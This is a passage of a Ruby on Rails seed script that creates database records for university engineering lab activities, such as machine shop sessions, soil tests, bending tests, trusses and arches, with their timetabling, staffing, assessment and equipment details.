ActivityProgramme.where(activity_id: a26.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a27 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at27 = ActivityTimetable.where(activity_id: a27.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a27.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a27.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a27.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a27.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a27.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a28 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 3)\n at28 = ActivityTimetable.where(activity_id: a28.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a28.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a28.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a28.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a28.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a28.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a29 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at29 = ActivityTimetable.where(activity_id: a29.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a29.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a29.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a29.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a29.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a29.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a30 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at30 = ActivityTimetable.where(activity_id: a30.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a30.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a30.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a30.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a30.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a30.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a31 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at31 = ActivityTimetable.where(activity_id: a31.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a31.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a31.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a31.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a31.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a31.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a32 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at32 = ActivityTimetable.where(activity_id: a32.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a32.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a32.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a32.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a32.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a32.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a33 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at33 = ActivityTimetable.where(activity_id: a33.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a33.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a33.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a33.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a33.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a33.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a34 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"201\").first_or_create!(name: \"Bridge Building\",\n name_abrv: \"BRIDGE BLD\", archived: false, in_drive: true, user_id: 2)\n at34 = ActivityTimetable.where(activity_id: a34.id).first_or_create!(duration: 180, kit_prep_time: 210, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 210, takedown_time: 210, notes: \"After Bridge Design, Need PUPS\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a34.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a34.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a34.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a34.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, band saws, hot wire cutters, dremels, laser cutters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a34.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a35 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at35 = ActivityTimetable.where(activity_id: a35.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a35.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a35.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a35.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a35.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a35.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a36 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at36 = ActivityTimetable.where(activity_id: a36.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a36.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a36.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a36.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a36.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a36.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a37 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 2)\n at37 = ActivityTimetable.where(activity_id: a37.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a37.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a37.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a37.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a37.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a37.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a38 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 5)\n at38 = ActivityTimetable.where(activity_id: a38.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a38.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a38.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a38.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a38.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a38.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a39 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"204\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 4)\n at39 = ActivityTimetable.where(activity_id: a39.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at39.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a39.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a39.id).first_or_create!(criteria: \"\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a39.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a39.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a39.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a40 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"PC Frames\", archived: false, in_drive: true, user_id: 1)\n at40 = ActivityTimetable.where(activity_id: a40.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at40.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a40.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/8xku3D\",\n mole_pub_link: \"https://goo.gl/hWmGBG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a40.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a40.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a40.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a40.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a41 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"FRAMES\", archived: false, in_drive: true, user_id: 1)\n at41 = ActivityTimetable.where(activity_id: a41.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at41.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a41.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a41.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with plastic theory and proficient with Excel.\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a41.id).first_or_create!(assess_weight: nil, notes: \"MOLE Test\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a41.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a41.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a42 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Cantilever Truss\", archived: false, in_drive: true, user_id: 3)\n at42 = ActivityTimetable.where(activity_id: a42.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at42.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a42.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a42.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a42.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a42.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a42.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a43 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 3)\n at43 = ActivityTimetable.where(activity_id: a43.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at43.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a43.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/j7KZhd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a43.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a43.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a43.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a43.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a44 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 4)\n at44 = ActivityTimetable.where(activity_id: a44.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at44.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a44.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SXd4jp\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a44.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a44.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a44.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a44.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a45 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"207\").first_or_create!(name: \"Two-pinned Arch\",\n name_abrv: \"Arches\", archived: false, in_drive: true, user_id: 1)\n at45 = ActivityTimetable.where(activity_id: a45.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at45.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a45.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SALrcj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a45.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with arches.\",\n job_desc:\"In this lab, students investigate the behaviour of an elastic parabolic arch under uniformely distributed loading. Mid-span deflection is recorded using an analog transducer. Students will find the relationshipe between UDL and reaction force for which no bending moment is applied to the arch. The principle of superposition is applied to the mid-span deflection.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a45.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: 